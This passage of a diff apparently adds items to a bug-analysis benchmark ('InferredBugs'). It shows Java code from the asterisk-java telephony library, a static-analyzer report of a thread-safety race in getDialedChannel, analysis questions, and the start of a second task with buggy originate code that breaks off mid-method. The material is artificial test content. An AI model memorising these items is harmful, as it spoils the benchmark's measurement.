+    {
+        final String oldId = this.id;
+
+        if (oldId != null && oldId.equals(id))
+        {
+            return;
+        }
+
+        this.id = id;
+        firePropertyChange(PROPERTY_ID, oldId, id);
+    }
+
+    String getTraceId()
+    {
+        return traceId;
+    }
+
+    void setTraceId(String traceId)
+    {
+        this.traceId = traceId;
+    }
+
+    public String getName()
+    {
+        return name;
+    }
+
+    /**
+     * Changes the name of this channel.
+     *
+     * @param date date of the name change.
+     * @param name the new name of this channel.
+     */
+    void nameChanged(Date date, String name)
+    {
+        final String oldName = this.name;
+
+        if (oldName != null && oldName.equals(name))
+        {
+            return;
+        }
+
+        this.name = name;
+        firePropertyChange(PROPERTY_NAME, oldName, name);
+    }
+
+    public CallerId getCallerId()
+    {
+        return callerId;
+    }
+
+    /**
+     * Sets the caller id of this channel.
+     *
+     * @param callerId the caller id of this channel.
+     */
+    void setCallerId(final CallerId callerId)
+    {
+        final CallerId oldCallerId = this.callerId;
+
+        this.callerId = callerId;
+        firePropertyChange(PROPERTY_CALLER_ID, oldCallerId, callerId);
+    }
+
+    public ChannelState getState()
+    {
+        return state;
+    }
+
+    public boolean wasInState(ChannelState state)
+    {
+        synchronized (stateHistory)
+        {
+            for (ChannelStateHistoryEntry historyEntry : stateHistory)
+            {
+                if (historyEntry.getState() == state)
+                {
+                    return true;
+                }
+            }
+        }
+
+        return false;
+    }
+
+    public boolean wasBusy()
+    {
+        return wasInState(ChannelState.BUSY)
+                || hangupCause == HangupCause.AST_CAUSE_BUSY
+                || hangupCause == HangupCause.AST_CAUSE_USER_BUSY;
+    }
+
+    /**
+     * Changes the state of this channel.
+     *
+     * @param date  when the state change occurred.
+     * @param state the new state of this channel.
+     */
+    synchronized void stateChanged(Date date, ChannelState state)
+    {
+        final ChannelStateHistoryEntry historyEntry;
+        final ChannelState oldState = this.state;
+
+        if (oldState == state)
+        {
+            return;
+        }
+
+        // System.err.println(id + " state change: " + oldState + " => " + state
+        // + " (" + name + ")");
+        historyEntry = new ChannelStateHistoryEntry(date, state);
+        synchronized (stateHistory)
+        {
+            stateHistory.add(historyEntry);
+        }
+
+        this.state = state;
+        firePropertyChange(PROPERTY_STATE, oldState, state);
+    }
+
+    public String getAccount()
+    {
+        return account;
+    }
+
+    /**
+     * Sets the account code used to bill this channel.
+     *
+     * @param account the account code used to bill this channel.
+     */
+    void setAccount(String account)
+    {
+        final String oldAccount = this.account;
+
+        this.account = account;
+        firePropertyChange(PROPERTY_ACCOUNT, oldAccount, account);
+    }
+
+    public Extension getCurrentExtension()
+    {
+        final Extension extension;
+
+        synchronized (extensionHistory)
+        {
+            if (extensionHistory.isEmpty())
+            {
+                extension = null;
+            }
+            else
+            {
+                extension = extensionHistory.get(extensionHistory.size() - 1).getExtension();
+            }
+        }
+
+        return extension;
+    }
+
+    public Extension getFirstExtension()
+    {
+        final Extension extension;
+
+        synchronized (extensionHistory)
+        {
+            if (extensionHistory.isEmpty())
+            {
+                extension = null;
+            }
+            else
+            {
+                extension = extensionHistory.get(0).getExtension();
+            }
+        }
+
+        return extension;
+    }
+
+    public List<ExtensionHistoryEntry> getExtensionHistory()
+    {
+        final List<ExtensionHistoryEntry> copy;
+
+        synchronized (extensionHistory)
+        {
+            copy = new ArrayList<ExtensionHistoryEntry>(extensionHistory);
+        }
+
+        return copy;
+    }
+
+    /**
+     * Adds a visted dialplan entry to the history.
+     *
+     * @param date      the date the extension has been visited.
+     * @param extension the visted dialplan entry to add.
+     */
+    void extensionVisited(Date date, Extension extension)
+    {
+        final Extension oldCurrentExtension = getCurrentExtension();
+        final ExtensionHistoryEntry historyEntry;
+
+        historyEntry = new ExtensionHistoryEntry(date, extension);
+
+        synchronized (extensionHistory)
+        {
+            extensionHistory.add(historyEntry);
+        }
+
+        firePropertyChange(PROPERTY_CURRENT_EXTENSION, oldCurrentExtension, extension);
+    }
+
+    public Date getDateOfCreation()
+    {
+        return dateOfCreation;
+    }
+
+    public Date getDateOfRemoval()
+    {
+        return dateOfRemoval;
+    }
+
+    public HangupCause getHangupCause()
+    {
+        return hangupCause;
+    }
+
+    public String getHangupCauseText()
+    {
+        return hangupCauseText;
+    }
+
+    public CallDetailRecord getCallDetailRecord()
+    {
+        return callDetailRecord;
+    }
+
+    void callDetailRecordReceived(Date date, CallDetailRecordImpl callDetailRecord)
+    {
+        final CallDetailRecordImpl oldCallDetailRecord = this.callDetailRecord;
+
+        this.callDetailRecord = callDetailRecord;
+        firePropertyChange(PROPERTY_CALL_DETAIL_RECORD, oldCallDetailRecord, callDetailRecord);
+    }
+
+    /**
+     * Sets dateOfRemoval, hangupCause and hangupCauseText and changes state to
+     * {@link ChannelState#HUNGUP}. Fires a PropertyChangeEvent for state.
+     *
+     * @param dateOfRemoval   date the channel was hung up
+     * @param hangupCause     cause for hangup
+     * @param hangupCauseText textual representation of hangup cause
+     */
+    synchronized void hungup(Date dateOfRemoval, HangupCause hangupCause, String hangupCauseText)
+    {
+        this.dateOfRemoval = dateOfRemoval;
+        this.hangupCause = hangupCause;
+        this.hangupCauseText = hangupCauseText;
+        // update state and fire PropertyChangeEvent
+        stateChanged(dateOfRemoval, ChannelState.HUNGUP);
+    }
+
+    /* dialed channels */
+
+    public AsteriskChannel getDialedChannel()
+    {
+        return dialedChannel;
+    }
+
+    public List<DialedChannelHistoryEntry> getDialedChannelHistory()
+    {
+        final List<DialedChannelHistoryEntry> copy;
+
+        synchronized (linkedChannelHistory)
+        {
+            copy = new ArrayList<DialedChannelHistoryEntry>(dialedChannelHistory);
+        }
+
+        return copy;
+    }
+
+    synchronized void channelDialed(Date date, AsteriskChannel dialedChannel)
+    {
+        final AsteriskChannel oldDialedChannel = this.dialedChannel;
+        final DialedChannelHistoryEntry historyEntry;
+
+        historyEntry = new DialedChannelHistoryEntry(date, dialedChannel);
+        synchronized (dialedChannelHistory)
+        {
+            dialedChannelHistory.add(historyEntry);
+        }
+        this.dialedChannel = dialedChannel;
+        firePropertyChange(PROPERTY_DIALED_CHANNEL, oldDialedChannel, dialedChannel);
+    }
+
+    /* dialed channels */
+
+    public AsteriskChannel getDialingChannel()
+    {
+        return dialingChannel;
+    }
+
+    synchronized void channelDialing(Date date, AsteriskChannel dialingChannel)
+    {
+        final AsteriskChannel oldDialingChannel = this.dialingChannel;
+
+        this.dialingChannel = dialingChannel;
+        firePropertyChange(PROPERTY_DIALING_CHANNEL, oldDialingChannel, dialingChannel);
+    }
+
+    /* linked channels */
+
+    public AsteriskChannel getLinkedChannel()
+    {
+        return linkedChannel;
+    }
+
+    public List<LinkedChannelHistoryEntry> getLinkedChannelHistory()
+    {
+        final List<LinkedChannelHistoryEntry> copy;
+
+        synchronized (linkedChannelHistory)
+        {
+            copy = new ArrayList<LinkedChannelHistoryEntry>(linkedChannelHistory);
+        }
+
+        return copy;
+    }
+
+    public boolean wasLinked()
+    {
+        return wasLinked;
+    }
+
+    /**
+     * Sets the channel this channel is bridged with.
+     *
+     * @param date          the date this channel was linked.
+     * @param linkedChannel the channel this channel is bridged with.
+     */
+    synchronized void channelLinked(Date date, AsteriskChannel linkedChannel)
+    {
+        final AsteriskChannel oldLinkedChannel = this.linkedChannel;
+        final LinkedChannelHistoryEntry historyEntry;
+
+        historyEntry = new LinkedChannelHistoryEntry(date, linkedChannel);
+        synchronized (linkedChannelHistory)
+        {
+            linkedChannelHistory.add(historyEntry);
+        }
+        this.linkedChannel = linkedChannel;
+        this.wasLinked = true;
+        firePropertyChange(PROPERTY_LINKED_CHANNEL, oldLinkedChannel, linkedChannel);
+    }
+
+    synchronized void channelUnlinked(Date date)
+    {
+        final AsteriskChannel oldLinkedChannel = this.linkedChannel;
+        final LinkedChannelHistoryEntry historyEntry;
+
+        synchronized (linkedChannelHistory)
+        {
+            if (linkedChannelHistory.isEmpty())
+            {
+                historyEntry = null;
+            }
+            else
+            {
+                historyEntry = linkedChannelHistory.get(linkedChannelHistory.size() - 1);
+            }
+        }
+
+        if (historyEntry != null)
+        {
+            historyEntry.setDateUnlinked(date);
+        }
+        this.linkedChannel = null;
+        firePropertyChange(PROPERTY_LINKED_CHANNEL, oldLinkedChannel, null);
+    }
+
+    /* MeetMe user */
+
+    public MeetMeUserImpl getMeetMeUser()
+    {
+        return meetMeUserImpl;
+    }
+
+    void setMeetMeUserImpl(MeetMeUserImpl meetMeUserImpl)
+    {
+        final MeetMeUserImpl oldMeetMeUserImpl = this.meetMeUserImpl;
+        this.meetMeUserImpl = meetMeUserImpl;
+        firePropertyChange(PROPERTY_MEET_ME_USER, oldMeetMeUserImpl, meetMeUserImpl);
+    }
+
+    // action methods
+
+    public void hangup() throws ManagerCommunicationException, NoSuchChannelException
+    {
+        hangup(null);
+    }
+
+    public void hangup(HangupCause cause) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        final HangupAction action;
+        final ManagerResponse response;
+
+        if (cause != null)
+        {
+            setVariable(CAUSE_VARIABLE_NAME, Integer.toString(cause.getCode()));
+            action = new HangupAction(name, cause.getCode());
+        }
+        else
+        {
+            action = new HangupAction(name);
+        }
+
+        response = server.sendAction(action);
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void setAbsoluteTimeout(int seconds) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new AbsoluteTimeoutAction(name, seconds));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void redirect(String context, String exten, int priority) throws ManagerCommunicationException,
+            NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new RedirectAction(name, context, exten, priority));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void redirectBothLegs(String context, String exten, int priority) throws ManagerCommunicationException,
+            NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        if (linkedChannel == null)
+        {
+            response = server.sendAction(new RedirectAction(name, context, exten, priority));
+        }
+        else
+        {
+            response = server.sendAction(new RedirectAction(name, linkedChannel.getName(), context, exten, priority,
+                    context, exten, priority));
+        }
+
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public String getVariable(String variable) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+        String value;
+
+        synchronized (variables)
+        {
+
+            value = variables.get(variable);
+            if (value != null)
+            {
+                return value;
+            }
+
+            response = server.sendAction(new GetVarAction(name, variable));
+            if (response instanceof ManagerError)
+            {
+                throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+            }
+            value = response.getAttribute("Value");
+            if (value == null)
+            {
+                value = response.getAttribute(variable); // for Asterisk 1.0.x
+            }
+
+            variables.put(variable, value);
+        }
+        return value;
+    }
+
+    public void setVariable(String variable, String value) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new SetVarAction(name, variable, value));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+        synchronized (variables)
+        {
+            variables.put(variable, value);
+        }
+    }
+
+    public void playDtmf(String digit) throws ManagerCommunicationException, NoSuchChannelException, IllegalArgumentException
+    {
+        ManagerResponse response;
+
+        if (digit == null)
+        {
+            throw new IllegalArgumentException("DTMF digit to send must not be null");
+        }
+
+        response = server.sendAction(new PlayDtmfAction(name, digit));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void startMonitoring(String filename) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        startMonitoring(filename, null, false);
+    }
+
+    public void startMonitoring(String filename, String format) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        startMonitoring(filename, format, false);
+    }
+
+    public void startMonitoring(String filename, String format, boolean mix) throws ManagerCommunicationException,
+            NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new MonitorAction(name, filename, format, mix));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void changeMonitoring(String filename) throws ManagerCommunicationException, NoSuchChannelException, IllegalArgumentException
+    {
+        ManagerResponse response;
+
+        if (filename == null)
+        {
+            throw new IllegalArgumentException("New filename must not be null");
+        }
+
+        response = server.sendAction(new ChangeMonitorAction(name, filename));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void stopMonitoring() throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new StopMonitorAction(name));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void pauseMonitoring() throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new PauseMonitorAction(name));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    public void unpauseMonitoring() throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+
+        response = server.sendAction(new UnpauseMonitorAction(name));
+        if (response instanceof ManagerError)
+        {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    
+    public void pauseMixMonitor(MixMonitorDirection direction) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+        response = server.sendAction(new PauseMixMonitorAction(this.name,1,direction.getStateName()));
+        if (response instanceof ManagerError) {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+
+    
+    public void unPauseMixMonitor(MixMonitorDirection direction) throws ManagerCommunicationException, NoSuchChannelException
+    {
+        ManagerResponse response;
+        response = server.sendAction(new PauseMixMonitorAction(this.name,0,direction.getStateName()));        
+        if (response instanceof ManagerError) {
+            throw new NoSuchChannelException("Channel '" + name + "' is not available: " + response.getMessage());
+        }
+    }
+    
+    
+    
+    
+    
+    public Extension getParkedAt()
+    {
+        // warning: the context of this extension will be null until we get the context property from
+        // the parked call event!
+        return parkedAt;
+    }
+
+    void updateVariable(String name, String value)
+    {
+        synchronized (variables)
+        {
+            // final String oldValue = variables.get(name);
+            variables.put(name, value);
+            // TODO add notification for updated channel variables
+        }
+    }
+
+    public Map<String, String> getVariables()
+    {
+        synchronized (variables)
+        {
+            return new HashMap<String, String>(variables);
+        }
+    }
+
+    public Character getDtmfReceived()
+    {
+        return this.dtmfReceived;
+    }
+
+    public Character getDtmfSent()
+    {
+        return this.dtmfSent;
+    }
+
+    void dtmfReceived(Character digit)
+    {
+        final Character oldDtmfReceived = this.dtmfReceived;
+
+        this.dtmfReceived = digit;
+        firePropertyChange(PROPERTY_DTMF_RECEIVED, oldDtmfReceived, digit);
+    }
+
+    void dtmfSent(Character digit)
+    {
+        final Character oldDtmfSent = this.dtmfSent;
+
+        this.dtmfSent = digit;
+        firePropertyChange(PROPERTY_DTMF_SENT, oldDtmfSent, digit);
+    }
+
+    void setParkedAt(Extension parkedAt)
+    {
+        final Extension oldParkedAt = this.parkedAt;
+
+        this.parkedAt = parkedAt;
+        firePropertyChange(PROPERTY_PARKED_AT, oldParkedAt, parkedAt);
+    }
+
+    public AsteriskQueueEntryImpl getQueueEntry()
+    {
+        return queueEntryImpl;
+    }
+
+    void setQueueEntry(AsteriskQueueEntryImpl queueEntry)
+    {
+        final AsteriskQueueEntry oldQueueEntry = this.queueEntryImpl;
+
+        this.queueEntryImpl = queueEntry;
+        firePropertyChange(PROPERTY_QUEUE_ENTRY, oldQueueEntry, queueEntry);
+    }
+
+    public boolean isMonitored() {return this.isMonitored; }
+
+    void setMonitored(boolean monitored) {
+        final boolean oldMonitored = this.isMonitored;
+
+        this.isMonitored = monitored;
+        firePropertyChange(PROPERTY_MONITORED, oldMonitored, monitored);
+    }
+
+    @Override
+    public String toString()
+    {
+        final StringBuffer sb;
+        final AsteriskChannel dialedChannel;
+        final AsteriskChannel dialingChannel;
+        final AsteriskChannel linkedChannel;
+
+        sb = new StringBuffer("AsteriskChannel[");
+
+        synchronized (this)
+        {
+            sb.append("id='").append(getId()).append("',");
+            sb.append("name='").append(getName()).append("',");
+            sb.append("callerId='").append(getCallerId()).append("',");
+            sb.append("state='").append(getState()).append("',");
+            sb.append("account='").append(getAccount()).append("',");
+            sb.append("dateOfCreation=").append(getDateOfCreation()).append(",");
+            dialedChannel = this.dialedChannel;
+            dialingChannel = this.dialingChannel;
+            linkedChannel = this.linkedChannel;
+        }
+        if (dialedChannel == null)
+        {
+            sb.append("dialedChannel=null,");
+        }
+        else
+        {
+            sb.append("dialedChannel=AsteriskChannel[");
+            synchronized (dialedChannel)
+            {
+                sb.append("id='").append(dialedChannel.getId()).append("',");
+                sb.append("name='").append(dialedChannel.getName()).append("'],");
+            }
+        }
+        if (dialingChannel == null)
+        {
+            sb.append("dialingChannel=null,");
+        }
+        else
+        {
+            sb.append("dialingChannel=AsteriskChannel[");
+            synchronized (dialingChannel)
+            {
+                sb.append("id='").append(dialingChannel.getId()).append("',");
+                sb.append("name='").append(dialingChannel.getName()).append("'],");
+            }
+        }
+        if (linkedChannel == null)
+        {
+            sb.append("linkedChannel=null");
+        }
+        else
+        {
+            sb.append("linkedChannel=AsteriskChannel[");
+            synchronized (linkedChannel)
+            {
+                sb.append("id='").append(linkedChannel.getId()).append("',");
+                sb.append("name='").append(linkedChannel.getName()).append("']");
+            }
+        }
+        sb.append("]");
+
+        return sb.toString();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.asteriskjava.live.internal.AsteriskChannelImpl.getDialedChannel` reads without synchronization from `this.org.asteriskjava.live.internal.AsteriskChannelImpl.dialedChannel`. Potentially races with write in method `AsteriskChannelImpl.channelDialed(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+AsteriskChannel AsteriskChannelImpl.getDialedChannel()
+
+### Procedure Id:
+org.asteriskjava.live.internal.AsteriskChannelImpl.getDialedChannel():org.asteriskjava.live.Asterisk.4a343293d6469c58e3bc209f8ae46ad9
+
+### File:
+src/main/java/org/asteriskjava/live/internal/AsteriskChannelImpl.java
+
+### Key:
+AsteriskChannelImpl.java|getDialedChannel|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+4ab062fbdaef6c75d094c3c8a97e4f02
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6258/instruction.md b/inferredbugs-6258/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..79bf905aebbd6e615168363868d765ffd39d1cef
--- /dev/null
+++ b/inferredbugs-6258/instruction.md
@@ -0,0 +1,555 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 42
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.asteriskjava.pbx.internal.managerAPI;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicLong;
+
+import org.asteriskjava.live.ManagerCommunicationException;
+import org.asteriskjava.pbx.AsteriskSettings;
+import org.asteriskjava.pbx.CallerID;
+import org.asteriskjava.pbx.Channel;
+import org.asteriskjava.pbx.EndPoint;
+import org.asteriskjava.pbx.NewChannelListener;
+import org.asteriskjava.pbx.PBX;
+import org.asteriskjava.pbx.PBXException;
+import org.asteriskjava.pbx.PBXFactory;
+import org.asteriskjava.pbx.asterisk.wrap.actions.OriginateAction;
+import org.asteriskjava.pbx.asterisk.wrap.events.BridgeEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.DialBeginEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.DialEndEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.HangupEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.LinkEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.ManagerEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.NewChannelEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.OriginateResponseEvent;
+import org.asteriskjava.pbx.asterisk.wrap.events.UnlinkEvent;
+import org.asteriskjava.pbx.asterisk.wrap.response.ManagerResponse;
+import org.asteriskjava.pbx.internal.core.AsteriskPBX;
+import org.asteriskjava.util.Log;
+import org.asteriskjava.util.LogFactory;
+
+public abstract class OriginateBaseClass extends EventListenerBaseClass
+{
+
+    /*
+     * this class generates and issues ActionEvents to asterisk through the
+     * manager. This is the asterisk coal face.
+     */
+    protected static final Log logger = LogFactory.getLog(OriginateBaseClass.class);
+
+    private volatile String originateID;
+
+    volatile private boolean originateSuccess;
+
+    private final Channel monitorChannel1;
+
+    private boolean hungup = false;
+
+    private Channel newChannel;
+
+    private final Channel monitorChannel2;
+
+    private final OriginateResult result;
+
+    Exception ex = new Exception("Created here");
+
+    /**
+     * The following two variables together are used to determine if the
+     * originated channel has come up. This is to overcome the problem that the
+     * OriginateResponseEvent and the NewChannelEvent can occur in any order
+     * (although the NewChannelEvent will occur first in most circumstances).
+     * Note: we get many NewChannelEvents but we are only interested in a very
+     * specific one.
+     */
+    // Used to track if the originate event has been seen.
+    private boolean originateSeen = false;
+
+    // Used to track if the new (final) channel has been seen.
+    private boolean channelSeen = false;
+
+    private final NewChannelListener listener;
+
+    private final CountDownLatch originateLatch = new CountDownLatch(1);
+
+    private final AsteriskPBX pbx;
+
+    private String channelId;
+
+    protected OriginateBaseClass(final NewChannelListener listener, final Channel monitor, final Channel monitor2)
+    {
+        super("NewOrginateClass", PBXFactory.getActivePBX());
+        pbx = (AsteriskPBX) PBXFactory.getActivePBX();
+        this.listener = listener;
+        this.monitorChannel1 = monitor;
+        this.monitorChannel2 = monitor2;
+        this.result = new OriginateResult();
+
+    }
+
+    private static final AtomicLong originateSeed = new AtomicLong();
+
+    /**
+     * @param local
+     * @param target
+     * @param myVars
+     * @param callerId the caller id to set when initiating this call.
+     * @param hideCallerId
+     * @param context
+     * @return
+     */
+    OriginateResult originate(final EndPoint local, final EndPoint target, final HashMap<String, String> myVars,
+            final CallerID callerID, final Integer timeout, final boolean hideCallerId, final String context)
+    {
+        OriginateBaseClass.logger.debug("originate called");
+        this.originateSeen = false;
+        this.channelSeen = false;
+
+        if (this.hungup == true)
+        {
+            // the monitored channel already hungup so just return false and
+            // shutdown
+            return null;
+        }
+
+        OriginateBaseClass.logger.debug("originate connection endPoint \n" + local + " to endPoint " + target //$NON-NLS-2$
+                + " vars " + myVars);
+        ManagerResponse response = null;
+
+        final AsteriskSettings settings = PBXFactory.getActiveProfile();
+
+        final OriginateAction originate = new OriginateAction();
+        this.originateID = originate.getActionId();
+
+        channelId = "" + (System.currentTimeMillis() / 1000) + ".AJ" + originateSeed.incrementAndGet();
+        originate.setChannelId(channelId);
+
+        Integer localTimeout = timeout;
+
+        if (timeout == null)
+        {
+            localTimeout = 30000;
+            try
+            {
+                localTimeout = settings.getDialTimeout() * 1000;
+            }
+            catch (final Exception e)
+            {
+                OriginateBaseClass.logger.error("Invalid dial timeout value");
+            }
+        }
+
+        // Whilst the originate document says that it takes a channel it
+        // actually takes an
+        // end point. I haven't check but I'm skeptical that you can actually
+        // originate to
+        // a channel as the doco talks about 'dialing the channel'. I suspect
+        // this
+        // may be part of asterisk's sloppy terminology.
+        if (local.isLocal())
+        {
+            originate.setEndPoint(local);
+            originate.setOption("/n");
+        }
+        else
+        {
+            originate.setEndPoint(local);
+        }
+
+        originate.setContext(context);
+        originate.setExten(target);
+        originate.setPriority(1);
+
+        // Set the caller id.
+        if (hideCallerId)
+        {
+            // hide callerID
+            originate.setCallingPres(32);
+        }
+        else
+        {
+            originate.setCallerId(callerID);
+        }
+
+        originate.setVariables(myVars);
+        originate.setAsync(true);
+        originate.setTimeout(localTimeout);
+
+        try
+        {
+            // Just add us as an asterisk event listener.
+            this.startListener();
+
+            response = pbx.sendAction(originate, localTimeout);
+            OriginateBaseClass.logger.debug("Originate.sendAction completed");
+            if (response.getResponse().compareToIgnoreCase("Success") != 0)
+            {
+                OriginateBaseClass.logger
+                        .error("Error Originating call" + originate.toString() + " : " + response.getMessage());//$NON-NLS-2$
+                throw new ManagerCommunicationException(response.getMessage(), null);
+            }
+
+            // wait the set timeout +1 second to allow for
+            // asterisk to start the originate
+            originateLatch.await(localTimeout + 1000, TimeUnit.MILLISECONDS);
+        }
+        catch (final InterruptedException e)
+        {
+            OriginateBaseClass.logger.debug(e, e);
+        }
+        catch (final Exception e)
+        {
+            OriginateBaseClass.logger.error(e, e);
+        }
+        finally
+        {
+            this.close();
+        }
+
+        if (this.originateSuccess == true)
+        {
+            this.result.setSuccess(true);
+            this.result.setChannelData(this.newChannel);
+            OriginateBaseClass.logger.debug("new channel ok: " + this.newChannel);
+        }
+        else
+        {
+            OriginateBaseClass.logger.warn("originate failed to connect endPoint: " + local + " to ext " + target); //$NON-NLS-2$
+
+            if (this.newChannel != null)
+            {
+                try
+                {
+                    logger.info("Hanging up");
+                    pbx.hangup(this.newChannel);
+                }
+                catch (IllegalArgumentException | IllegalStateException | PBXException e)
+                {
+                    logger.error(e, e);
+
+                }
+            }
+        }
+        return this.result;
+    }
+
+    void abort(final String reason)
+    {
+        OriginateBaseClass.logger.debug("Aborting originate ");
+        this.originateSuccess = false;
+        this.result.setAbortReason(reason);
+        this.hungup = true;
+        if (this.newChannel != null)
+        {
+            OriginateBaseClass.logger.warn("Aborted, Hangup up on the way out");
+            this.result.setChannelHungup(true);
+
+            PBX pbx = PBXFactory.getActivePBX();
+            try
+            {
+                pbx.hangup(this.newChannel);
+            }
+            catch (IllegalArgumentException | IllegalStateException | PBXException e)
+            {
+                logger.error(e, e);
+
+            }
+        }
+        originateLatch.countDown();
+
+    }
+
+    @Override
+    public HashSet<Class< ? extends ManagerEvent>> requiredEvents()
+    {
+        HashSet<Class< ? extends ManagerEvent>> required = new HashSet<>();
+
+        required.add(OriginateResponseEvent.class);
+        required.add(BridgeEvent.class);
+        // bridge event is a subclass of linkevent, so we need link & unlink in
+        // our list of events to support Asterisk 1.4
+        required.add(LinkEvent.class);
+        required.add(UnlinkEvent.class);
+        required.add(HangupEvent.class);
+        required.add(NewChannelEvent.class);
+        required.add(DialEndEvent.class);
+        required.add(DialBeginEvent.class);
+
+        return required;
+    }
+
+    /**
+     * It is important that this method is synchronised as there is some
+     * interaction between the events and we need to ensure we process one at a
+     * time.
+     */
+    @Override
+    synchronized public void onManagerEvent(final ManagerEvent event)
+    {
+
+        if (event instanceof HangupEvent)
+        {
+            final HangupEvent hangupEvt = (HangupEvent) event;
+            final Channel hangupChannel = hangupEvt.getChannel();
+
+            if (channelId.equals(hangupEvt.getUniqueId()))
+            {
+                this.originateSuccess = false;
+                OriginateBaseClass.logger.warn("Dest channel " + this.newChannel + " hungup");
+                originateLatch.countDown();
+            }
+            if ((this.monitorChannel1 != null) && (hangupChannel.isSame(this.monitorChannel1)))
+            {
+                this.originateSuccess = false;
+                this.hungup = true;
+                if (this.newChannel != null)
+                {
+                    OriginateBaseClass.logger.debug("hanging up " + this.newChannel);
+                    this.result.setChannelHungup(true);
+
+                    PBX pbx = PBXFactory.getActivePBX();
+                    try
+                    {
+                        logger.warn("Hanging up");
+                        pbx.hangup(this.newChannel);
+                    }
+                    catch (IllegalArgumentException | IllegalStateException | PBXException e)
+                    {
+                        logger.error(e, e);
+
+                    }
+                }
+                OriginateBaseClass.logger.debug("notify channel 1 hungup");
+                originateLatch.countDown();
+            }
+            if ((this.monitorChannel2 != null) && (hangupChannel.isSame(this.monitorChannel2)))
+            {
+                this.originateSuccess = false;
+                this.hungup = true;
+                if (this.newChannel != null)
+                {
+                    OriginateBaseClass.logger.debug("Hanging up channel " + this.newChannel);
+                    this.result.setChannelHungup(true);
+
+                    PBX pbx = PBXFactory.getActivePBX();
+                    try
+                    {
+                        pbx.hangup(this.newChannel);
+                    }
+                    catch (IllegalArgumentException | IllegalStateException | PBXException e)
+                    {
+                        logger.error(e, e);
+
+                    }
+                }
+                OriginateBaseClass.logger.debug("Notify channel 2 (" + this.monitorChannel2 + ") hungup");//$NON-NLS-2$
+                originateLatch.countDown();
+            }
+
+        }
+        if (event instanceof OriginateResponseEvent)
+        {
+            OriginateBaseClass.logger.debug("response : " + this.newChannel);
+
+            final OriginateResponseEvent response = (OriginateResponseEvent) event;
+            OriginateBaseClass.logger.debug("OriginateResponseEvent: channel="
